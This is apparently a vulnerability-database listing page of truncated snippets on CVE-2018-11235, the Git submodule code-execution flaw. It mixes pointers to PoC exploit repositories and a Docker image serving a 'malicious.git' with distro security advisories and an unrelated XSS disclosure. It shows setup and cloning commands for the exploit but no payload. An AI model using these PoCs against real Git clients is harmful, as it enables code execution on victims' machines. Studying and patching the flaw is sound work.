CVE-2018-11235-Git-Submodule-CE

CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git PoC Docker からプル docker pull qweraqq/cve-2018-11235-git-submodule-rce Git HTTP サーバーを起動 docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce PoC git clone --recurse-submodules http://git.gitserver/malicious.git...

CVE-2018-11235

CVE-2018-11235 악성 Git 저장소를 자동 생성하여 Git 서브모듈을 통한 원격 코드 실행CVE-2018-11235을 악용합니다. 블로그 게시글: https://devblogs.microsoft.com/devops/announcing-the-may-2018-git-security-vulnerability/...

CVE-2018-11235

CVE-2018-11235 CVE-2018-11235...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok 설정 CVE-2018-11235-Git PoC 및 Docker ngrok을 이용한 터널링 Dockerfile 빌드 $ docker build -t cve-2018-11235 . ngrok용 사용자 지정 네트워크 생성 $ docker network create myngroknet Git HTTP 서버 시작 $ docker run -d -p 8080:80 --net myngroknet --name cve-2018-11235 cve-2018-1123...

CVE-2018-11235

CVE-2018-11235...

CVE-2018-11235

CVE-2018-11235...

CVE-2018-11235-PoC

CVE-2018-11235에 대한 PoC 익스플로잇 repository: http://REDACTED/2018-11235PoC.git/ return: Submodule 'aaa' https://repo1 registered for path 'aaa' Submodule '../../fakegit/modules/evil' https://repo2 registered for path 'evil' Submodule path 'aaa': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'...

CVE-2018-11235-poc

CVE-2018-11235-poc v2.7.4 버전용 참고 자료 1.CHYbeta의 poc 2.CVE-2018-11235 - 빠르고 간단한 PoC...

clone_and_pwn

헤더 익스플로잇 제목: Clone and Pwn 날짜: 2018년 6월 4일 익스플로잇 작성자: Alejandro Caceres 공급업체 홈페이지: https://git-scm.com/ 소프트웨어 링크: https://git-scm.com/downloads 버전: Git 2.13.7 이전, 2.14.x 중 2.14.4 이전, 2.15.x 중 2.15.2 이전, 2.16.x 중 2.16.4 이전, 2.17.x 중 2.17.1 이전의 Git 클라이언트 버전에서 임의 코드가 실행됩니다. 테스트 환경: Linux: Ubuntu,...

Exploit for Path Traversal in Debian Debian_Linux

CVE-2018-11235 1. ssh to your vps. 2. Clone this repo: ba...

BELL-CVE-2018-11235 CVE-2018-11235 does not affect BellSoft software

Bulletin has no description...

Mageia: Security Advisory (MGASA-2018-0267)

The remote host is missing an update for the SPDX-FileCopyrightText: 2022 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2018:2469-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2018:1872-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

centarnekretnine.me Cross Site Scripting vulnerability OBB-2008512

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Affected Website:| centarnekretnine.me ---|--- Open Bug...

SUSE: Security Advisory (SUSE-SU-2018:1566-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Git Submodules Directory Traversal (CVE-2018-11235)

A directory traversal vulnerability exists in the Git client. The vulnerability is due to insufficient validation of submodule names in the .gitmodules file during checkout. Successful exploitation of this vulnerability could enable the attacker to execute arbitrary scripts on the target system...

Huawei EulerOS: Security Advisory for git (EulerOS-SA-2019-1420)

The remote host is missing an update for the Huawei EulerOS SPDX-FileCopyrightText: 2020 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Huawei EulerOS: Security Advisory for git (EulerOS-SA-2018-1215)

The remote host is missing an update for the Huawei EulerOS SPDX-FileCopyrightText: 2020 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Huawei EulerOS: Security Advisory for git (EulerOS-SA-2018-1216)

The remote host is missing an update for the Huawei EulerOS SPDX-FileCopyrightText: 2020 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...